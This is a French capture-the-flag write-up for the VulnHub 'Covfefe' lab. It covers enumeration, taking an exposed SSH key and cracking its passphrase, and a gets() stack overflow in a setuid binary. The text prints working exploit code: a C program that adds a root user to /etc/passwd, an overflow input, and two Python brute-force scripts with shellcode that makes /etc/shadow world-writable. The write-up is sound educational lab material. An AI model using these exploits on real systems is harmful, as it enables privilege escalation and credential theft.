Accueil Solution du CTF Covfefe de VulnHub
Post
Annuler

Solution du CTF Covfefe de VulnHub

covfefe est un CTF qui m’a donné une impression de déjà vu. J’avais déjà dû le résoudre sans écrire de writeup. C’est maintenant chose faite.

100% covfefe

On trouve ici deux serveurs webs dont un sur le port 31337 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Nmap scan report for 192.168.56.195
Host is up (0.000062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)
| vulners: 
|   cpe:/a:python:python:3.5.3: 
|       SSV:92725       7.5     https://vulners.com/seebug/SSV:92725    *EXPLOIT*
|       PACKETSTORM:141350      7.5     https://vulners.com/packetstorm/PACKETSTORM:141350      *EXPLOIT*
|       CVE-2020-27619  7.5     https://vulners.com/cve/CVE-2020-27619
|       CVE-2017-1000158        7.5     https://vulners.com/cve/CVE-2017-1000158
|       CVE-2016-9063   7.5     https://vulners.com/cve/CVE-2016-9063
|       CVE-2016-0718   7.5     https://vulners.com/cve/CVE-2016-0718
|       1337DAY-ID-27146        7.5     https://vulners.com/zdt/1337DAY-ID-27146        *EXPLOIT*
|       CVE-2020-8492   7.1     https://vulners.com/cve/CVE-2020-8492
--- snip ---
|       CVE-2016-2183   5.0     https://vulners.com/cve/CVE-2016-2183
|       0C076F95-ABB2-53E1-9E25-F7D1A5A9B3A1    5.0     https://vulners.com/githubexploit/0C076F95-ABB2-53E1-9E25-F7D1A5A9B3A1  *EXPLOIT*
|       CVE-2020-14422  4.3     https://vulners.com/cve/CVE-2020-14422
|       CVE-2019-9947   4.3     https://vulners.com/cve/CVE-2019-9947
|       CVE-2019-9740   4.3     https://vulners.com/cve/CVE-2019-9740
|       CVE-2019-18348  4.3     https://vulners.com/cve/CVE-2019-18348
|       CVE-2019-16935  4.3     https://vulners.com/cve/CVE-2019-16935
|       CVE-2023-27043  0.0     https://vulners.com/cve/CVE-2023-27043
|       CVE-2023-24329  0.0     https://vulners.com/cve/CVE-2023-24329
|_      CVE-2021-28861  0.0     https://vulners.com/cve/CVE-2021-28861

Une énumération avec feroxbuster remonte rapidement des noms de fichiers qui laissent supposer qu’on est dans le dossier personnel d’un utilisateur :

1
2
3
4
5
6
200        1l        3w       43c http://192.168.56.195:31337/.ssh
301        4l       24w      275c http://192.168.56.195:31337/taxes
200      113l      483w     3526c http://192.168.56.195:31337/.bashrc
200        7l       35w      220c http://192.168.56.195:31337/.bash_logout
200        2l        2w       19c http://192.168.56.195:31337/.bash_history
200       22l      109w      675c http://192.168.56.195:31337/.profile

Si on demande un dossier (sans slash final) alors on obtient un listing sous la forme d’une liste JSON :

1
2
$ curl http://192.168.56.195:31337/.ssh
['id_rsa', 'authorized_keys', 'id_rsa.pub']

La clé privée id_rsa est récupérable. Cette dernière étant protégée par une passphrase, j’utilise ssh2john pour en extraire un hash que je casse ensuite :

1
2
3
4
5
6
7
8
9
$ python3 ssh2john.py id_rsa > /tmp/hashes.txt
$ john --wordlit=wordlists/rockyou.txt /tmp/hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
starwars         (id_rsa)

Il nous reste à rouver le nom d’utilisateur correspondant à cette clé et cela peut s’obtenir en lisant la fin de la clé publique (id_rsa.pub) : simon@covfefe

Une fois connecté avec la clé et la passphrase on ne découvre pas grand-chose de plus :

1
2
3
4
5
6
7
8
9
10
11
12
13
simon@covfefe:~$ id
uid=1000(simon) gid=1000(simon) groups=1000(simon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
simon@covfefe:~$ ls -al
total 36
drwxr-xr-x 3 simon simon 4096 Jul  9  2017 .
drwxr-xr-x 3 root  root  4096 Jun 28  2017 ..
-rw------- 1 simon simon   19 Jun 28  2017 .bash_history
-rw-r--r-- 1 simon simon  220 Jun 28  2017 .bash_logout
-rw-r--r-- 1 simon simon 3526 Jun 28  2017 .bashrc
-rwxr-xr-x 1 simon simon  449 Jul  9  2017 http_server.py
-rw-r--r-- 1 simon simon  675 Jun 28  2017 .profile
-rw-r--r-- 1 simon simon   70 Jul  9  2017 robots.txt
drwx------ 2 simon simon 4096 Jun 28  2017 .ssh

Le script Python correspond à l’appli Flask qui tournait sur le port 31337 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3

from flask import Flask
from os import environ, listdir

root = environ['HOME']
sauce = '/.ssh'

app = Flask(__name__, static_folder=root, static_url_path='')

@app.route(sauce)
def sauce_content():
    return str(listdir(root + sauce)), 200

@app.route('/taxes/')
def taxes_content():
    return 'Good job! Here is a flag: flag1{make_america_great_again}'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=31337)

En revanche une recherche sur les binaires setuid révèle un fichier inhabituel :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
simon@covfefe:~$ find / -type f -perm -u+s -ls 2> /dev/null 
   261713     40 -rwsr-xr-x   1 root     root        39632 May 17  2017 /usr/bin/chsh
   261716     60 -rwsr-xr-x   1 root     root        57972 May 17  2017 /usr/bin/passwd
   261712     48 -rwsr-xr-x   1 root     root        48560 May 17  2017 /usr/bin/chfn
   261715     80 -rwsr-xr-x   1 root     root        78340 May 17  2017 /usr/bin/gpasswd
   264578     36 -rwsr-xr-x   1 root     root        34920 May 17  2017 /usr/bin/newgrp
   271967     48 -rwsr-xr--   1 root     messagebus    46436 Apr  6  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   393292      8 -rwsr-xr-x   1 root     root           5480 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   274840    516 -rwsr-xr-x   1 root     root         525932 Mar 30  2017 /usr/lib/openssh/ssh-keysign
   275776      8 -rwsr-xr-x   1 root     staff          7608 Jul  2  2017 /usr/local/bin/read_message
   131146     28 -rwsr-xr-x   1 root     root          26504 Mar 22  2017 /bin/umount
   131130     40 -rwsr-xr-x   1 root     root          39144 May 17  2017 /bin/su
   131145     40 -rwsr-xr-x   1 root     root          38940 Mar 22  2017 /bin/mount
   131809     68 -rwsr-xr-x   1 root     root          68076 Nov 10  2016 /bin/ping

Le programme semble attendre un nom en particulier et si le bon est donné il affiche le contenu d’un fichier texte :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
simon@covfefe:~$ /usr/local/bin/read_message
What is your name?
devloop
Sorry devloop, you're not Simon! The Internet Police have been informed of this violation.
simon@covfefe:~$ /usr/local/bin/read_message
What is your name?
Simon
Hello Simon! Here is your message:

Hi Simon, I hope you like our private messaging system.

I'm really happy with how it worked out!

If you're interested in how it works, I've left a copy of the source code in my home directory.

- Charlie Root

On dispose de la source du programme dans /root qui est lisible :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
simon@covfefe:~$ cat /root/read_message.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];
    char authorized[] = "Simon";

    printf("What is your name?\n");
    gets(buf);

    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
        exit(EXIT_FAILURE);
    }

}

My name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

On voit que le buffer lut (buf) est vulnérable à un stack overflow (fonction gets). Par conséquent, si les variables sont alignées à notre avantage on sera en mesure d’écraser la chaine program et donc de faire exécuter le programme de notre choix.

Point important : le binaire et le système sont en 32 bits, NX et Canary sont désactivés sur l’exécutable MAIS la stack est randomisée et PIC est présent.

L’inconvénient avec PIC/PIE (Position-independent code) c’est que les adresses du code changent à chaque exécution. On peut s’en rendre compte en copiant le binaire (sinon on ne peut pas accéder aux informations de mapping) puis en l’exécutant plein de fois :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80090000-80091000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
8000b000-8000c000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800ee000-800ef000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80074000-80075000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80018000-80019000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80075000-80076000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80004000-80005000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80024000-80025000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800f0000-800f1000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800f6000-800f7000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
8003f000-80040000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800a8000-800a9000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800e2000-800e3000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80077000-80078000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
8003b000-8003c000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
800b3000-800b4000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80017000-80018000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80076000-80077000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message
simon@covfefe:~$ cat /proc/`pidof read_message`/maps | head -1
80002000-80003000 r-xp 00000000 08:01 132648     /tmp/local/bin/read_message

J’avais trouvé un gadget bien sympathique à l’offset 0x550 dans le binaire pour sauter sur esp mais ce dernier semble inutilisable avec l’adresse de base qui change à chaque fois.

1
2
3
4
gdb-peda$ x/5i 0x56555000+0x550
   0x56555550 <_start+48>:      push   esp
   0x56555552 <_start+50>:      mov    ebx,DWORD PTR [esp]
   0x56555555 <_start+53>:      ret

On revient sur l’exploitation mentionnée plus tôt et on a bien program à ebp-0x20 et le buffer lut à ebp-0x34 par conséquent on peut bien écraser program.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int main (int argc, char **argv, char **envp);
; var const char *s1 @ stack - 0x3a
; var int32_t var_36h @ stack - 0x36
; var char *s2 @ stack - 0x34
; var int32_t var_20h @ stack - 0x20
; var int32_t var_1ch @ stack - 0x1c
; var int32_t var_18h @ stack - 0x18
; var int32_t var_14h @ stack - 0x14
; var int32_t var_10h @ stack - 0x10
; var int32_t var_ch @ stack - 0xc
; var int32_t var_8h @ stack - 0x8
0x00000690      push    ebp
0x00000691      mov     ebp, esp
0x00000693      push    ebx
0x00000694      sub     esp, 0x34
0x00000697      call    __x86.get_pc_thunk.bx ; sym.__x86.get_pc_thunk.bx
0x0000069c      add     ebx, 0x1964
0x000006a2      mov     dword [var_20h], 0x7273752f ; '/usr'
0x000006a9      mov     dword [var_1ch], 0x636f6c2f ; '/loc'
0x000006b0      mov     dword [var_18h], 0x732f6c61 ; 'al/s'
0x000006b7      mov     dword [var_14h], 0x2f6e6962 ; 'bin/'
0x000006be      mov     dword [var_10h], 0x7373656d ; 'mess'
0x000006c5      mov     dword [var_ch], 0x656761 ; 'age'
0x000006cc      mov     dword [s1], 0x6f6d6953 ; 'Simo'
0x000006d3      mov     word [var_36h], 0x6e ; 'n'
0x000006d9      lea     eax, [ebx - 0x1820]
0x000006df      push    eax        ; const char *s
0x000006e0      call    puts       ; sym.imp.puts ; int puts(const char *s)
0x000006e5      add     esp, 4
0x000006e8      lea     eax, [s2]
0x000006eb      push    eax        ; char *s
0x000006ec      call    gets       ; sym.imp.gets ; char *gets(char *s)
0x000006f1      add     esp, 4
0x000006f4      push    5          ; size_t n
0x000006f6      lea     eax, [s2]
0x000006f9      push    eax        ; const char *s2
0x000006fa      lea     eax, [s1]
0x000006fd      push    eax        ; const char *s1
0x000006fe      call    strncmp    ; sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
0x00000703      add     esp, 0xc
0x00000706      test    eax, eax
0x00000708      jne     0x72f
0x0000070a      lea     eax, [s2]
0x0000070d      push    eax
0x0000070e      lea     eax, [ebx - 0x180c]
0x00000714      push    eax        ; const char *format
0x00000715      call    printf     ; sym.imp.printf ; int printf(const char *format)
0x0000071a      add     esp, 8
0x0000071d      push    0
0x0000071f      push    0
0x00000721      lea     eax, [var_20h]
0x00000724      push    eax
0x00000725      call    execve     ; sym.imp.execve
0x0000072a      add     esp, 0xc
0x0000072d      jmp     0x74d
0x0000072f      lea     eax, [s1]
0x00000732      push    eax
0x00000733      lea     eax, [s2]
0x00000736      push    eax
0x00000737      lea     eax, [ebx - 0x17e8]
0x0000073d      push    eax        ; const char *format
0x0000073e      call    printf     ; sym.imp.printf ; int printf(const char *format)
0x00000743      add     esp, 0xc
0x00000746      push    1          ; int status
0x00000748      call    exit       ; sym.imp.exit ; void exit(int status)
0x0000074d      mov     eax, 0
0x00000752      mov     ebx, dword [var_8h]
0x00000755      leave
0x00000756      ret

La fonction de lecture gets stoppe quand elle croise un retour à la ligne ou EOF mais accepte la présence d’octets nuls. J’en ai inclus un dans mon buffer, mais ce n’est pas nécessaire, car strncmp est appelé avec la taille du nom attendu (Simon soit la taille 5).

Lors de l’exploitation le programme appelé semblait ne plus récupérer l’effective UID à 0 donc il était sans doute dropé par bash comme c’était le cas pour le CTF SmashTheTux.

J’ai repris la technique utilisée précédemment qui consiste à écrire dans /etc/passwd au lieu de tenter de lancer un shell :

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(void) {
  FILE * fd;
  fd = fopen("/etc/passwd", "a");
  fputs("devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh\n", fd);
  fclose(fd);
}

Une fois le binaire compilé sur ma machine (gcc -o getroot -static -m32 getroot.c) et déposé sur la VM je peux procéder à l’exploitation :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
simon@covfefe:~$ echo -e "Simon\0///////////////////tmp/getroot" | /usr/local/bin/read_message
What is your name?
Hello Simon! Here is your message:

simon@covfefe:~$ tail /etc/passwd
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
simon:x:1000:1000:,,,:/home/simon:/bin/bash
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
devloop:ueqwOCnSGdsuM:0:0::/root:/bin/sh
simon@covfefe:~$ su devloop
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
flag.txt  read_message.c
# cat flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}

Mieux qu’au loto

En théorie, comme on est sur du 32 bits, on peut tenter de brute forcer les adresses. Sur cette VM la désactivation de l’ASLR avec ulimit -s unlimited a été patchée donc le brute force est notre seul recours.

Sachant que l’adresse de retour de la fonction main est présente à l’offset 46 j’ai écrit ce code qui tente l’exploitation en boucle en espérant que l’adresse de base corresponde à un cas d’exécution du binaire, auquel cas, on saute sur le gadget vu plus tôt et on arrive sur notre shellcode (avec NX désactivé) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import os
from stat import S_IWOTH
from struct import pack

shellcode = (
    b"\x6a\x0f"               #  push $0xf
    b"\x58"                   #  pop %eax
    b"\x31\xc9"               #  xor %ecx,%ecx
    b"\x51"                   #  push %ecx
    b"\x66\xb9\xb6\x01"       #  mov $0x1b6,%cx
    b"\x68\x61\x64\x6f\x77"   #  push $0x776f6461
    b"\x68\x63\x2f\x73\x68"   #  push $0x68732f63
    b"\x68\x2f\x2f\x65\x74"   #  push $0x74652f2f
    b"\x89\xe3"               #  mov %esp,%ebx
    b"\xcd\x80"               #  int $0x80
    b"\x40"                   #  inc %eax
    b"\xcd\x80"               #  int $0x80
)

jmp_to_esp = 0x80024000 + 0x550
offset = 46

buffer = b"Simon\0" + b"A" * offset + pack("<I", jmp_to_esp) + shellcode + b"\n"
with open("input.raw", "wb") as fd:
    fd.write(buffer)

count = 0
while True:
        os.system("/usr/local/bin/read_message < input.raw >/dev/null 2>&1")
        count += 1
        if os.stat("/etc/shadow").st_mode & S_IWOTH:
                os.system("ls -al /etc/shadow")
                print("Success after", count, "attempts")
                exit()

L’exploitation réussie rapidement. À noter que par défaut la VM est configurée pour n’utiliser que 256Mo de mémoire, ce qui facilite peu être notre tache.

1
2
3
simon@covfefe:~$ python3 exploit.py 
-rw-rw-rw- 1 root shadow 931 Jun 28  2017 /etc/shadow
Success after 66 attempts

L’autre technique d’exploitation consiste à placer de nombreux shellcodes avec plein de NOPs dans des variables d’environnement et donner une adresse de la stack comme adresse de retour :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import string
from stat import S_IWOTH
from struct import pack

shellcode = (
    "\x6a\x0f"               #  push $0xf
    "\x58"                   #  pop %eax
    "\x31\xc9"               #  xor %ecx,%ecx
    "\x51"                   #  push %ecx
    "\x66\xb9\xb6\x01"       #  mov $0x1b6,%cx
    "\x68\x61\x64\x6f\x77"   #  push $0x776f6461
    "\x68\x63\x2f\x73\x68"   #  push $0x68732f63
    "\x68\x2f\x2f\x65\x74"   #  push $0x74652f2f
    "\x89\xe3"               #  mov %esp,%ebx
    "\xcd\x80"               #  int $0x80
    "\x40"                   #  inc %eax
    "\xcd\x80"               #  int $0x80
)


for letter in string.ascii_letters:
        os.environ[letter] = "\x90" * 500000 + shellcode

print("Memory filled, bruteforcing...")

stack_address = 0xbf802000
offset = 46
count = 0

while True:
        count += 1
        print("attempt", count)
        for i in range(-100000000, 100000000, 250000):
                buffer = b"Simon\0" + b"A" * offset + pack("<I", stack_address + i) + b"\n"
                with open("input2.raw", "wb") as fd:
                    fd.write(buffer)

                os.system("/usr/local/bin/read_message < input2.raw >/dev/null 2>&1")
                if os.stat("/etc/shadow").st_mode & S_IWOTH:
                        os.system("ls -al /etc/shadow")
                        print("Success after", count, "attempts")
                        exit()

Avec cette version, je ne suis pas parvenu à obtenir l’exécution du shellcode.

Cet article est sous licence CC BY 4.0 par l'auteur.